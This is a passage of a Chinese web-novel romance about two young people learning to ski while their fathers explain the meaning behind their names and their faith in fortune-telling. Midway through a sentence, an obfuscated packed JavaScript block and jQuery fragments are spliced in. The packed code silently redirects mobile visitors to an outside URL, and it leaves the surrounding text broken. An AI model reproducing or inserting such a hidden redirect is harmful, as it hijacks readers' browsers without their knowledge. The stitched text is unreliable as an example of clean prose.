二楼休息室的落地窗前，大家正认真观察着两个笨拙的小人儿。几个人围炉煮茶，谈天说地，而窗外的人是佐餐的精致小茶点。
他们看着男孩牵着女孩从雪道边上滑下来，女孩没刹住车，男孩便跑快了几步到她面前，用身体挡住加速往下冲的雪板。
许是刹车刹的太紧急，女孩“扑通”一下，双膝跪倒在男孩面前。
......
新年快乐！
靳文礼一行人觉得好笑。
谁也没想到林家这位娇滴滴的小姑娘如此表里如一，毫无运动细胞，更谈不上什么平衡能力了。
这一路俩人走得磕磕绊绊，但还好是走过来了。
林伟民倒是心里泛起了嘀咕。
他奇怪林荞今天怎么滑得如此惨不忍睹，不像她之前的水平。明明去年冬天还能从初级道上，跌跌撞撞呈S型溜下来。虽然动作不怎么标准，至少也不会摔。
“哈哈，荞荞她平衡能力从小就一般，还得跟着她哥哥多练练。”他轻咳一声，端起茶杯，掩饰了自己的尴尬。
一听这话，负责人眼观鼻鼻观心，悄悄退出去，到门外打了个电话。
不一会儿就有两位全副武装的工作人员拖着雪板，气喘吁吁地走上楼来。
负责人敲开门，跟林父和靳父汇报，“现在两个小朋友自己玩完了，也可以跟着专业的教练学一学动作。”他笑得脸上横起肥肉，语气奉承地自然，“赶巧了，今天运气好，正好有两个专业教练还闲着呢。”
恰好，这两个教练一个刚拿了省赛一等奖，一个是国家队队员陪练。
-
靳杨真的感到很奇怪，怎么能有人笨成这个样子。
林荞仿佛有一种随心所欲的笨。
她能巧妙地躲开每一次危险的地方，却在最不该出错的时候，出了错。
他猜林荞肯定能做对高考数学的倒数第二道大题，也一定会在前几道选择或填空丢分。
当远方的雾一点点朝他们压过来，逐渐将两个人身影笼罩。林荞一次次在雪地上摔倒，靳杨却不厌其烦，每一次都稳稳地将她扶起。
就在这时，两道声音从身后传来，二人说是特意来教他们的专业教练。靳杨仰头长叹一口气，伸手拍了拍两位教练的肩膀，语气里带着如释重负的笑意：“谢了啊。”
“你俩教她吧。”他后退一步，唇角微扬，“我自己能行。”
屋外的雪飘起来，屋内暖意正浓。几位长辈正聊的兴起，话题从儿女的外貌、性格一路聊到学业工作，不知是谁笑着提起：“说起来，你们当年给孩子起名字，是不是也特别讲究”。
这话一下说到了林伟民心坎上。他放下茶杯，眼角漾起笑纹，朝窗外的两个身影望了一眼，声音温厚而清晰。
“草为根，乔为枝。”
他缓缓解释道：“草木之始，扎根大地。我们希望她能脚踏实地，不论走多远，都能一直保持对生命的敬畏与热爱。
“而乔木高耸，向上生长，凌云而立。我和她妈妈想祝她才华出众，志存高远，能成人群中的翘楚。”
“但最重要的，还是希望她能在天地之间自由生长，顶天立地。”
雪场的风掠过，吹起林荞头盔下几缕不听话的头发。她摘了手套，手指胡乱往耳后拢了拢。
林荞索性脱了雪板，整个人瘫进角落里一处蓬松的小雪堆里。她望着雾蒙蒙的天，深深地呼了一口气。靳杨就站在她身边，没有催她，只是安静地等着。
林荞先转过头来，打破了沉默：“我爸对我名字的解释太过于恢弘，好像笃定我要经历什么波澜壮阔的一生。但我妈不一样，她有另一种解释。”
“月明荞麦花如雪。”她抓起一把雪，“嘿嘿”笑了一声，“忽然想到的。”
她看着雪粒从指缝间漏下去，开口道：“我妈说呢，荞麦这种植物，耐寒耐瘠，在贫瘠土地上也能开花结果。她觉得女孩就该这样，柔中带刚。以后哪怕遇到逆境，也要有继续向上生长的勇气。”
“当然，”她眨眨眼，笑容重新变得明亮，“我希望我的人生永远都没有逆境！”
靳杨低头看着她。荞这个字确实生僻，他早就好奇过。今天听到这个解释，倒觉得契合。哪怕只是一个字，也承载了家人如此厚重的期待。
“你知道荞麦开花什么样吗？”她忽然又问，不等他回答就接着说，“我在网上搜过，花朵小小的，白白的。我妈希望我始终保持纯净无瑕的心灵，不染世俗浮华。”她顿了顿，自己先笑了，“哎，不愧是大学教授啊，用词总是文绉绉的。”
“而且荞麦花开在秋天，是沉淀，也是成熟。看来我一定是个厚积薄发的人。”她越说越得意，冲靳杨俏皮地挑了挑眉，“怎么样，听起来是不是很厉害。”
没等他回应，林荞忽然神秘兮兮地凑近。明明裹的跟个粽子似的，身上的香水味还是轻轻扫过了他的鼻尖，“看在你今天教我滑雪的份上，我再告诉你个秘密。”
他闻到了玫瑰花的香气。
“什么？”
“我是木命，我八字里全是木。”
靳杨听得似懂非懂。他对命理八字从无研究，更谈不上相信，却对未知的事物保持着敬畏之心。而她一脸郑重地叮嘱：“这种事儿，一般可不能随便告诉别人的哦！”
他点了点头，因为隐约记得靳文礼给他取名字时，也参考了这些玄之又玄的理论。
-
靳文礼喝了一口茶，笑着接过林伟民刚才的话头：“说起来，靳杨的名字，也是这么来的。”
“他命里缺木，所以我们取名的时候，特意想选个偏旁有木的字。”
“他那会儿出生，我还在西北履职。那地方风沙大，我们单位门口有一排杨树，据说是建厂时就种下的。环境恶劣，它们却年年抽枝冒芽，顽强得很。我就想，儿子不如就取这个单字。简单点，好养活。也希望他像这杨树，根扎得深，多大的风沙都扛得住。”
他和林伟民是老乡，来自宜市那个对八字五行、风水命理格外虔诚的地方。在那里，人的一生仿佛不是活出来的，而是被八字、五行、风水一道道框定了方向。人要循着命书上早已写定的轨迹走下去。
名字，便是那卷书开篇最慎重的一笔，是命运落在人间的第一个注脚。
林荞对此深信不疑。
她在那样的环境中长大，耳濡目染，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316598|183029||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对五行属相也能说得头头是道。但她信的方式又和他们不一样——她信命，却更信自己的选择。或者说她认为那也是她命里的一部分。
她觉得自己手里握着一支笔，是能为自己的命运添上几划的。
而那支笔，或许就是命里安排好的所有意外。
至于靳杨，他此刻只觉得，这个瘫在雪地里，笑着谈论自己八字的姑娘，恐怕就是他二十五年规整人生里，最庞大，最无法预料的那一个意外。
雾气弥漫的雪道上，只余下滑雪板压过新雪的簌簌声响。
林荞望着他挺拔却又疏离的身影，忍不住问他。
“你，会回加拿大吗？”
如果都在国外，那见面的机会，能不能多一点儿？
靳杨的脚步顿了顿，没有回头，“或许吧。”
短暂的沉默在两人之间蔓延，林荞攥紧冻得发麻的手，“那有机会的话……”
她鼓起勇气：“有机会带我看看多伦多的雪。”
靳杨转过身，两人明明离得很近，林荞却觉得他们之间隔着一整片无法逾越的海。他刚回国，她却马上要出去，短暂的相遇后注定是漫长的别离。
靳杨没有看她，目光投向远处雾霭笼罩的山峦。他的声音穿过细密的雨雾，带着少年时代最后的坚定和执拗。仿佛已然预料到今日之后，将与自己的少年意气告别，再无相见的时候。
“好。”
远山深处有一片雪花坠地，无声无息，为所有未能言说的感情，画了个温柔的逗号。
时光悄然流转，北城雪日的雾气并未散尽，另一束晨光却已悄悄爬上了南城的窗。
靳杨滑开手机，不经意间翻到昨晚拍下的照片。他指尖微顿，在那个删除键上徘徊片刻，最终还是没有按下去。
照片里的小姑娘委屈巴巴的表情，和那年滑雪时摔在他怀里，耍赖让他扶的模样，几乎一模一样。
噢，她昨晚还说是故意的。
靳杨轻叹一声，将手机放到一旁。
随她吧。
今天是她留在南城的最后一天，而这几日，他这个做“哥哥”的，自认已经尽足了义务。
甚至还多了。
靳杨早上起身就感觉肩膀一侧的肌肉隐隐发麻，回想起来应该是昨天抱她时扯到了。他走到镜子前整理衣领，手上动作却蓦地顿住——锁骨处赫然印着一抹惊心动魄的红痕。
那是她的牙印，清晰的过分。
昨夜那只发了疯的小猫，下口时毫不留情，仿佛要将所有未宣之于口的占有欲刻进他皮肤里。他呼吸顿了顿，手指轻轻摁上去，指间一压就泛出丝丝疼意，细细密密的，像无数只蚂蚁爬上去啃咬。这点疼意像一把钥匙，帮他打开记忆点闸门。
他想起醉酒的姑娘贴在他身上时的轻微喘息，想起她咬下去那十成十的力道。
那是试探后的放肆，不带一丝克制。
靳杨稍微侧过身，往上一看，镜中映出脖颈另一侧那道浅浅的吻痕。那是她放肆前的试探，青涩却执着。
他记得她凌乱的呼吸，毫无章法的亲吻，还有那孤注一掷的勇气。
她想标记他。
他心知肚明。